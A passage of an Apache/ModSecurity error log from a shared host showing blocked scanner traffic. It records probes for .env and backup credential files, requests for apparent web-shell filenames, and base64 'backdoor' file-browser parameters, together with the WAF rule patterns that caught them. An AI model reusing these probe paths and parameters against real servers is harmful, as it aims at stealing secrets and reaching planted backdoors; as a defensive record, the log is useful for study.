[Sat Jun 13 18:10:58.240503 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.45:56182] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:58.241048 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.45:56182] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:58.294639 2026] [security2:error] [pid 531797:tid 532050] [client 103.146.202.144:57804] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "mail.deg.kkx.mybluehost.me"] [uri "/.env.bak"] [unique_id "ai3xksTA7b1mZrmcA-8o7wAAAkg"] [Sat Jun 13 18:10:58.436645 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2V2ZW50My9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:10:58.436945 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2V2ZW50My9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:10:58.451942 2026] [security2:error] [pid 531155:tid 531199] [remote 17.246.19.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xkimiP80klyS0Nnr6tgABDCs"] [Sat Jun 13 18:10:58.510611 2026] [security2:error] [pid 531797:tid 532033] [client 103.146.202.144:57804] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "mail.deg.kkx.mybluehost.me"] [uri "/.env.old"] [unique_id "ai3xksTA7b1mZrmcA-8o9gAAAjg"] [Sat Jun 13 18:10:58.510672 2026] [security2:error] [pid 531797:tid 531921] [remote 17.246.15.61:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 61.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xksTA7b1mZrmcA-8o9wACFDk"] [Sat Jun 13 18:10:58.590072 2026] [access_compat:error] [pid 531797:tid 531865] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9tYW4vbWFuMQ== [Sat Jun 13 18:10:58.590508 2026] [access_compat:error] [pid 531797:tid 531865] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9zaGFyZS9tYW4vbWFuMQ== [Sat Jun 13 18:10:58.622158 2026] [access_compat:error] [pid 531797:tid 531919] [remote 57.141.14.89:56156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:58.622607 2026] [access_compat:error] [pid 531797:tid 531919] [remote 57.141.14.89:56156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:58.710201 2026] [security2:error] [pid 531797:tid 532006] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/class_object/get_object_vars_basic_002.phpt"] [unique_id "ai3xksTA7b1mZrmcA-8o_gAAAh4"] [Sat Jun 13 18:10:58.762351 2026] [access_compat:error] [pid 531797:tid 531978] [remote 57.141.14.53:34276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:58.762646 2026] [access_compat:error] [pid 531797:tid 531978] [remote 57.141.14.53:34276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:58.790348 2026] [access_compat:error] [pid 531797:tid 531933] [remote 57.141.14.2:45495] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:58.790628 2026] [access_compat:error] [pid 531797:tid 531933] [remote 57.141.14.2:45495] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:58.942510 2026] [security2:error] [pid 531155:tid 531351] [client 20.151.217.54:48137] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/aevly.php"] [unique_id "ai3xkimiP80klyS0Nnr6wQAAAUw"] [Sat Jun 13 18:10:58.971271 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL2RldmljZS9ldmVudDUvc3Vic3lzdGVtL2lucHV0MS9pZA== [Sat Jun 13 18:10:58.971742 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL2RldmljZS9ldmVudDUvc3Vic3lzdGVtL2lucHV0MS9pZA== [Sat Jun 13 18:10:58.991842 2026] [security2:error] [pid 531797:tid 532016] [client 191.234.188.123:48017] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/rnenu.php"] [unique_id "ai3xksTA7b1mZrmcA-8pBwAAAig"] [Sat Jun 13 18:10:59.132119 2026] [access_compat:error] [pid 531797:tid 531938] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9pbmNsdWRlL2V2ZW50Mg== [Sat Jun 13 18:10:59.132396 2026] [access_compat:error] [pid 531797:tid 531938] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9pbmNsdWRlL2V2ZW50Mg== [Sat Jun 13 18:10:59.151895 2026] [security2:error] [pid 531797:tid 532079] [client 20.151.217.54:18503] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "williamsflying.paintyourplane.com"] [uri "/cxl.php"] [unique_id "ai3xk8TA7b1mZrmcA-8pCwAAAmU"] [Sat Jun 13 18:10:59.278021 2026] [security2:error] [pid 531797:tid 532001] [client 103.146.202.144:57804] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mail.deg.kkx.mybluehost.me"] [uri "/core/.env"] [unique_id "ai3xk8TA7b1mZrmcA-8pDgAAAhk"] [Sat Jun 13 18:10:59.311423 2026] [security2:error] [pid 531797:tid 531935] [remote 110.249.202.138:16678] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.smartsafetycenter.com"] [uri "/product/%E0%B8%A3%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%97%E0%B9%89%E0%B8%B2-safety-jogger-%E0%B8%A3%E0%B8%B8%E0%B9%88%E0%B8%99-freedom-s1ps-low-tls/"] [unique_id "ai3xk8TA7b1mZrmcA-8pDwACTkc"] [Sat Jun 13 18:10:59.341749 2026] [security2:error] [pid 531155:tid 531398] [client 172.171.3.232:18318] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/fs9.php"] [unique_id "ai3xkymiP80klyS0Nnr6zQAAAXs"] [Sat Jun 13 18:10:59.384327 2026] [security2:error] [pid 531155:tid 531350] [client 172.171.3.232:45595] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.mlvt-dsc.info"] [uri "/s-axi.php"] [unique_id "ai3xkymiP80klyS0Nnr60AAAAUs"] [Sat Jun 13 18:10:59.397221 2026] [security2:error] [pid 531155:tid 531346] [client 20.9.67.71:36190] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/fff.php"] [unique_id "ai3xkymiP80klyS0Nnr60QAAAUc"] [Sat Jun 13 18:10:59.433731 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.106:46855] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:59.434174 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.106:46855] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:59.514181 2026] [security2:error] [pid 531797:tid 532075] [client 103.146.202.144:57804] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mail.deg.kkx.mybluehost.me"] [uri "/api/.env"] [unique_id "ai3xk8TA7b1mZrmcA-8pFAAAAmE"] [Sat Jun 13 18:10:59.517454 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:10:59.517733 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:10:59.687136 2026] [access_compat:error] [pid 531797:tid 531963] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNjgzOTAwL2N3ZC9saWI2NA== [Sat Jun 13 18:10:59.687408 2026] [access_compat:error] [pid 531797:tid 531963] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNjgzOTAwL2N3ZC9saWI2NA== [Sat Jun 13 18:10:59.689279 2026] [security2:error] [pid 531797:tid 531939] [remote 17.241.227.244:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 244.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xk8TA7b1mZrmcA-8pGAACQ0s"] [Sat Jun 13 18:10:59.736320 2026] [security2:error] [pid 531797:tid 532043] [client 103.146.202.144:57804] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mail.deg.kkx.mybluehost.me"] [uri "/backend/.env"] [unique_id "ai3xk8TA7b1mZrmcA-8pGQAAAkI"] [Sat Jun 13 18:10:59.759411 2026] [access_compat:error] [pid 531797:tid 531923] [remote 57.141.14.22:43362] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:59.759829 2026] [access_compat:error] [pid 531797:tid 531923] [remote 57.141.14.22:43362] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:59.947530 2026] [security2:error] [pid 531797:tid 532076] [client 20.9.67.71:47573] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "steaminnovationfoundation-org.nucreativesolutions.com"] [uri "/rum.php"] [unique_id "ai3xk8TA7b1mZrmcA-8pIgAAAmI"] [Sat Jun 13 18:10:59.954593 2026] [security2:error] [pid 531797:tid 532010] [client 103.146.202.144:57804] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mail.deg.kkx.mybluehost.me"] [uri "/laravel/.env"] [unique_id "ai3xk8TA7b1mZrmcA-8pIwAAAiI"] [Sat Jun 13 18:10:59.957955 2026] [security2:error] [pid 531797:tid 532087] [client 191.233.234.186:45794] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "afghanjudofederation-af.accessart.af"] [uri "/this_is_a_new_hello_world.php"] [unique_id "ai3xk8TA7b1mZrmcA-8pJAAAAm0"] [Sat Jun 13 18:11:00.048870 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9wb3dlcg== [Sat Jun 13 18:11:00.049339 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9wb3dlcg== [Sat Jun 13 18:11:00.106275 2026] [security2:error] [pid 531797:tid 532101] [client 172.171.3.232:46855] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/wp-demomav.php"] [unique_id "ai3xlMTA7b1mZrmcA-8pKAAAAno"] [Sat Jun 13 18:11:00.150708 2026] [access_compat:error] [pid 531797:tid 531962] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2V0Yy9zeXN0ZW1k [Sat Jun 13 18:11:00.151136 2026] [access_compat:error] [pid 531797:tid 531962] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2V0Yy9zeXN0ZW1k [Sat Jun 13 18:11:00.165943 2026] [security2:error] [pid 531797:tid 532117] [client 103.146.202.144:57804] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mail.deg.kkx.mybluehost.me"] [uri "/app/.env"] [unique_id "ai3xlMTA7b1mZrmcA-8pMgAAAoo"] [Sat Jun 13 18:11:00.204453 2026] [access_compat:error] [pid 531797:tid 531890] [remote 57.141.14.16:53746] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:00.204903 2026] [access_compat:error] [pid 531797:tid 531890] [remote 57.141.14.16:53746] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:00.234341 2026] [security2:error] [pid 531797:tid 531868] [remote 17.22.253.45:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 45.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xlMTA7b1mZrmcA-8pNwACSAQ"] [Sat Jun 13 18:11:00.287885 2026] [security2:error] [pid 531155:tid 531378] [client 191.234.188.123:42146] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/lef.php"] [unique_id "ai3xlCmiP80klyS0Nnr68gAAAWc"] [Sat Jun 13 18:11:00.306116 2026] [access_compat:error] [pid 531155:tid 531268] [remote 57.141.14.100:33709] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:00.306432 2026] [access_compat:error] [pid 531155:tid 531268] [remote 57.141.14.100:33709] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:00.329491 2026] [access_compat:error] [pid 531797:tid 531889] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=backdoor&p=L2V0Yy9zeXN0ZW1k [Sat Jun 13 18:11:00.329972 2026] [access_compat:error] [pid 